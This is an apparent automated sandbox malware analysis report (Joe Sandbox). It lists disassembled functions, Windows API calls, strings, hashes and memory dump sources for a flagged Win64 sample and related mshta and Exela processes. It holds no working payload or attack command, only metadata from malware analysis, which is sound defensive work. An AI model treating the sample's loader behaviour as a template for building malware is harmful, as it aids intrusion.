Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: ErrorFileLastMessageModuleName
String ID: Failed to convert executable path to UTF-8.$Failed to get executable path.$GetModuleFileNameW
API String ID: 2581892565-1977442011
Opcode ID: a0f4ac4870535fdd3da745cd16929a0880a6c5442cdd0bc39b12d524b6311160
Instruction ID: 2aba8cdaa1f97c6af2d99ab736241a4a425795e1de937949e0e1088d1f6f0259
Opcode Fuzzy Hash: a0f4ac4870535fdd3da745cd16929a0880a6c5442cdd0bc39b12d524b6311160
Instruction Fuzzy Hash: 4E012551B1974381FBA1B720EC15BBE9271EF487C4FC004B2D94E8A696EE1CE6478E30

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA8D140 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF72AA8D1BF
WriteFile.KERNEL32 ref: 00007FF72AA8D487
WriteFile.KERNEL32 ref: 00007FF72AA8D4CD
GetLastError.KERNEL32 ref: 00007FF72AA8D583

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 0a0d81bfe4120ef9cba8412760d98f6ac5c5ee8295e8d3c135a36233c03d6874
Instruction ID: b51d2c9c5e8f8d5f7b0c1e005e34fc04de10460a999f61ac92c60e37e9c9682c
Opcode Fuzzy Hash: 0a0d81bfe4120ef9cba8412760d98f6ac5c5ee8295e8d3c135a36233c03d6874
Instruction Fuzzy Hash: D7D1DF72B08B418EF710DF65D840AACB7B5EF44B98F844266CE4E97B89DA38D417CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA72310 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF72AA72344
SetWindowLongPtrW.USER32 ref: 00007FF72AA72366
GetWindowLongPtrW.USER32 ref: 00007FF72AA72390
InvalidateRect.USER32 ref: 00007FF72AA723B0

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: b05b5568a63e2e2d0baaa3588e58b47743bee96d0fa3dc0d735729d29a60f88b
Instruction ID: 66ec2f36f808bfec36c81eae67946f8af06123f461807d54997b88f95ded12d7
Opcode Fuzzy Hash: b05b5568a63e2e2d0baaa3588e58b47743bee96d0fa3dc0d735729d29a60f88b
Instruction Fuzzy Hash: B911A921B0854382F754AB69ED44ABFD2B1EF85B80FC48071DA4906B9ECD3CD5CA4A10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA9686C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF72AA923B0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA923E3

_get_daylight.LIBCMT ref: 00007FF72AA96984
_get_daylight.LIBCMT ref: 00007FF72AA96995

Strings

?, xrefs: 00007FF72AA96915

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: f7308ed130ebcec51d7c207d98fe8ad99d28455c8954ade1b0b7718248787264
Instruction ID: 342230acaed5b3404714ea76ee1b22ad33ca15de2584ef796fea4af5b80d1137
Opcode Fuzzy Hash: f7308ed130ebcec51d7c207d98fe8ad99d28455c8954ade1b0b7718248787264
Instruction Fuzzy Hash: 3B410712A082C346F764AB29DC01F7AE670EF80BA4F904275EE9D06AD5DF3DD5428F10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA89B84 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA89BB6

Part of subcall function 00007FF72AA8B4EC: RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF72AA93972,?,?,?,00007FF72AA939AF,?,?,00000000,00007FF72AA93E75,?,?,00000000,00007FF72AA93DA7), ref: 00007FF72AA8B502
Part of subcall function 00007FF72AA8B4EC: GetLastError.KERNEL32(?,?,?,00007FF72AA93972,?,?,?,00007FF72AA939AF,?,?,00000000,00007FF72AA93E75,?,?,00000000,00007FF72AA93DA7), ref: 00007FF72AA8B50C

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF72AA7C125), ref: 00007FF72AA89BD4

Strings

C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, xrefs: 00007FF72AA89BC2

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: ErrorFileLanguagesLastModuleNamePreferredRestoreThread_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
API String ID: 2553983749-1626245527
Opcode ID: e02605a42b068f6eccedcb3010d95b522989991cdee656cc9b719bfc68919b09
Instruction ID: f5f5bbfee3a913cea7788760c49f95a9f0ea93eac21dd6bd3d90ecac2acfe96d
Opcode Fuzzy Hash: e02605a42b068f6eccedcb3010d95b522989991cdee656cc9b719bfc68919b09
Instruction Fuzzy Hash: 36416032A08B1289FB15FF259C858B8A7B4FF44B94F9440B5EA0E43B45DE3DD4968A60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA8D7D8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF72AA8D8EF
GetLastError.KERNEL32 ref: 00007FF72AA8D911

Strings

U, xrefs: 00007FF72AA8D89B

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 1c4d8f885a23e91b6f023f5bba01b3d5456b675b65fc2396528dfcf9b2bee20e
Instruction ID: 5909c1115734ddb161a9f3351190b245f47ef4aac48c789d7b19c4169182f7bf
Opcode Fuzzy Hash: 1c4d8f885a23e91b6f023f5bba01b3d5456b675b65fc2396528dfcf9b2bee20e
Instruction Fuzzy Hash: 7241C222A18B4186EB609F25EC44BBAB771FF84794F804035EA4D87788EF3CD502CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA8FEF8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF72AA8FF38
GetCurrentDirectoryW.KERNEL32 ref: 00007FF72AA8FF8A

Strings

:, xrefs: 00007FF72AA8FF4E

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: c814f4e6a73fca8fb0e34a5fa34791fb923e44da2351119a4fd3a89c16c72e66
Instruction ID: 4806b7f2d157855ee99e23a008d6fa0e5fe03c9b749ba965fee05f48fab18b17
Opcode Fuzzy Hash: c814f4e6a73fca8fb0e34a5fa34791fb923e44da2351119a4fd3a89c16c72e66
Instruction Fuzzy Hash: 2821A223A0868289FB20AB11D844A6DF3B1FF84B44FD58076DA8D47685DF7CE946CE60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA72C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF72AA78BD0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF72AA72A9B), ref: 00007FF72AA78C0A

MessageBoxW.USER32 ref: 00007FF72AA72D05
MessageBoxA.USER32 ref: 00007FF72AA72D21

Strings

Error detected, xrefs: 00007FF72AA72CDB, 00007FF72AA72D13

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Error detected
API String ID: 1878133881-3513342764
Opcode ID: 04587b85e8c5a5f01c124244adb340557da1a3c376205467b785ddfdae2ba4e1
Instruction ID: 9d315fe89d17eadfd0424abcfa411dda4c336213f3049f0fc43bb6fc1c85bd44
Opcode Fuzzy Hash: 04587b85e8c5a5f01c124244adb340557da1a3c376205467b785ddfdae2ba4e1
Instruction Fuzzy Hash: 17212F72628A8291F760EB10EC51AEFA364FF84784FC05176D64D47A59DF3CD206CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA72B10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF72AA78BD0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF72AA72A9B), ref: 00007FF72AA78C0A

MessageBoxW.USER32 ref: 00007FF72AA72BE5
MessageBoxA.USER32 ref: 00007FF72AA72C01

Strings

Fatal error detected, xrefs: 00007FF72AA72BBB, 00007FF72AA72BF3

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Fatal error detected
API String ID: 1878133881-4025702859
Opcode ID: b6f7d9423fd809a91d1653bcdf9902987ab7b8a697f00e322c081d77e498ae58
Instruction ID: 87b160c95b127d86d9f6130b520931789d204a310b761de2756c9f2200ac5e8a
Opcode Fuzzy Hash: b6f7d9423fd809a91d1653bcdf9902987ab7b8a697f00e322c081d77e498ae58
Instruction Fuzzy Hash: 9E212F72628A8291F720AB10EC51AEBA364FF84788FC05175D64D46A69DF3CD206CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA80468 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF72AA804B8
RaiseException.KERNEL32 ref: 00007FF72AA804F9

Strings

csm, xrefs: 00007FF72AA804E6

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: c8cc4bb08b20690d02c8bce5cff6a9b5d4d552f887a177c474232a7ea1470dcf
Instruction ID: 3701db29b6239c9532c84d355f541d3c0a2a6c64ccb06ed1f5111006d496490a
Opcode Fuzzy Hash: c8cc4bb08b20690d02c8bce5cff6a9b5d4d552f887a177c474232a7ea1470dcf
Instruction Fuzzy Hash: 83112B32618B8182EB619F25F940669B7E4FF88B94F984270EECD07B65DF3CD5528B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA909FC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA90A2C
GetDriveTypeW.KERNEL32 ref: 00007FF72AA90A6C

Strings

:, xrefs: 00007FF72AA90A55

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 0bb087a2c4c4f6707d1aaf47450714c5cfb5908953c580e39f9c8bdb8a3b6409
Instruction ID: a7e44472b938551f81379fb73f32cc4a116abf25d57c35b248b6c42b263c1767
Opcode Fuzzy Hash: 0bb087a2c4c4f6707d1aaf47450714c5cfb5908953c580e39f9c8bdb8a3b6409
Instruction Fuzzy Hash: B101A76291C60389F720BF609C62ABEE3B0EF44744FC00075DA4D46681DF3CD606CE64

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: mshta.exePID: 7072, Parent PID: 7092COMMON

Executed Functions

Function 0000021F3FD50FC1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000022.00000003.1758727745.0000021F3FD50000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000021F3FD50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_3_21f3fd50000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: ad81cd201ae4d306967353cd22a3213927f47660595ad579313fa783cd146cf7
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash: 389004154DD44755D45411D11D5D3DC504073DC150FD545D04C3FD0154D54D43D711D3

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Exela.exePID: 8068, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	10.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	2000
Total number of Limit Nodes:	51

Executed Functions

Function 00007FF6E3A86950 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF6E3A86995

Part of subcall function 00007FF6E3A862E8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A862FC

Part of subcall function 00007FF6E3A7B4EC: RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF6E3A83972,?,?,?,00007FF6E3A839AF,?,?,00000000,00007FF6E3A83E75,?,?,00000000,00007FF6E3A83DA7), ref: 00007FF6E3A7B502
Part of subcall function 00007FF6E3A7B4EC: GetLastError.KERNEL32(?,?,?,00007FF6E3A83972,?,?,?,00007FF6E3A839AF,?,?,00000000,00007FF6E3A83E75,?,?,00000000,00007FF6E3A83DA7), ref: 00007FF6E3A7B50C

Part of subcall function 00007FF6E3A7B4A4: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF6E3A7B483,?,?,?,?,?,00007FF6E3A736AC), ref: 00007FF6E3A7B4AD
Part of subcall function 00007FF6E3A7B4A4: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF6E3A7B483,?,?,?,?,?,00007FF6E3A736AC), ref: 00007FF6E3A7B4D2

_get_daylight.LIBCMT ref: 00007FF6E3A86984

Part of subcall function 00007FF6E3A86348: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A8635C

_get_daylight.LIBCMT ref: 00007FF6E3A86BFA
_get_daylight.LIBCMT ref: 00007FF6E3A86C0B
_get_daylight.LIBCMT ref: 00007FF6E3A86C1C
GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF6E3A86E5C), ref: 00007FF6E3A86C43

Strings

W. Europe Summer Time, xrefs: 00007FF6E3A86D01
W. Europe Standard Time, xrefs: 00007FF6E3A86CE9

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureInformationLanguagesLastPreferredPresentProcessProcessorRestoreThreadTimeZone
String ID: W. Europe Standard Time$W. Europe Summer Time
API String ID: 1458651798-690618308
Opcode ID: 6ec15ad00ebc81b5713ed5170bbebc68efdd6324f1cef62f169a4dbf8db42b45
Instruction ID: 50df7a22b762983b0dd59f95e420ceb9e62d122dc65dd60885d72446834a1aa8
Opcode Fuzzy Hash: 6ec15ad00ebc81b5713ed5170bbebc68efdd6324f1cef62f169a4dbf8db42b45
Instruction Fuzzy Hash: C5D1D427B0828245F7249F2DE44A3B96B61EF44784F418135DB0DE7AA5DF3EE4C1874A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A8789C Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6E3A875D0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A87611
Part of subcall function 00007FF6E3A875D0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A8768F
Part of subcall function 00007FF6E3A875D0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A876E0

CreateFileW.KERNELBASE ref: 00007FF6E3A879A2
CreateFileW.KERNEL32 ref: 00007FF6E3A879F2
GetLastError.KERNEL32 ref: 00007FF6E3A87A22
GetFileType.KERNELBASE ref: 00007FF6E3A87A37
GetLastError.KERNEL32 ref: 00007FF6E3A87A41
CloseHandle.KERNEL32 ref: 00007FF6E3A87A74
CloseHandle.KERNEL32 ref: 00007FF6E3A87BD7
CreateFileW.KERNEL32 ref: 00007FF6E3A87C0C
GetLastError.KERNEL32 ref: 00007FF6E3A87C1B

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: ed7bb29f19db96d6df9cef71716606d4f492670f90b16f42eaf9bff86babf69b
Instruction ID: 7f34e90dd2a4a6e28d425d9a12fc36581cb61f1d591b693d1b85bbb95a6b1dbd
Opcode Fuzzy Hash: ed7bb29f19db96d6df9cef71716606d4f492670f90b16f42eaf9bff86babf69b
Instruction Fuzzy Hash: ADC1B137B28A8285EB10CF68C4866BC3B71EB49B98B010235DA1EA77D4DF3BD595C305

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A67950 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(00000000,?,00000000,00000000,?,00007FF6E3A6153F), ref: 00007FF6E3A679E7

Part of subcall function 00007FF6E3A67B60: GetEnvironmentVariableW.KERNEL32(00007FF6E3A639FF), ref: 00007FF6E3A67B9A
Part of subcall function 00007FF6E3A67B60: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF6E3A67BB7

Part of subcall function 00007FF6E3A783CC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A783E5

SetEnvironmentVariableW.KERNEL32 ref: 00007FF6E3A67AA1

Part of subcall function 00007FF6E3A62B10: MessageBoxW.USER32 ref: 00007FF6E3A62BE5

Strings

TMP, xrefs: 00007FF6E3A6798A, 00007FF6E3A67A49, 00007FF6E3A67AD7
LOADER: Failed to set the TMP environment variable., xrefs: 00007FF6E3A679CA
_MEI%d, xrefs: 00007FF6E3A679F5
TMP, xrefs: 00007FF6E3A679B0

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: Environment$Variable$ExpandMessagePathStringsTemp_invalid_parameter_noinfo
String ID: LOADER: Failed to set the TMP environment variable.$TMP$TMP$_MEI%d
API String ID: 3752271684-1116378104
Opcode ID: 8a0f81467077cc4c225813434d72b9cad563560c0a92c7b3ae5d3c4c9c93026c
Instruction ID: 6e586d02e4db0132939ad34954963a1907ced6fb1ffe9dd7a148fbc4b6c92d31
Opcode Fuzzy Hash: 8a0f81467077cc4c225813434d72b9cad563560c0a92c7b3ae5d3c4c9c93026c
Instruction Fuzzy Hash: CA518013B2924340FA14B72EA85B3BE6A525F84BC0F445035ED0FEB7C6ED2FE481464A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A86BCC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF6E3A86BFA

Part of subcall function 00007FF6E3A86348: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A8635C

_get_daylight.LIBCMT ref: 00007FF6E3A86C0B

Part of subcall function 00007FF6E3A862E8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A862FC

_get_daylight.LIBCMT ref: 00007FF6E3A86C1C

Part of subcall function 00007FF6E3A86318: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A8632C

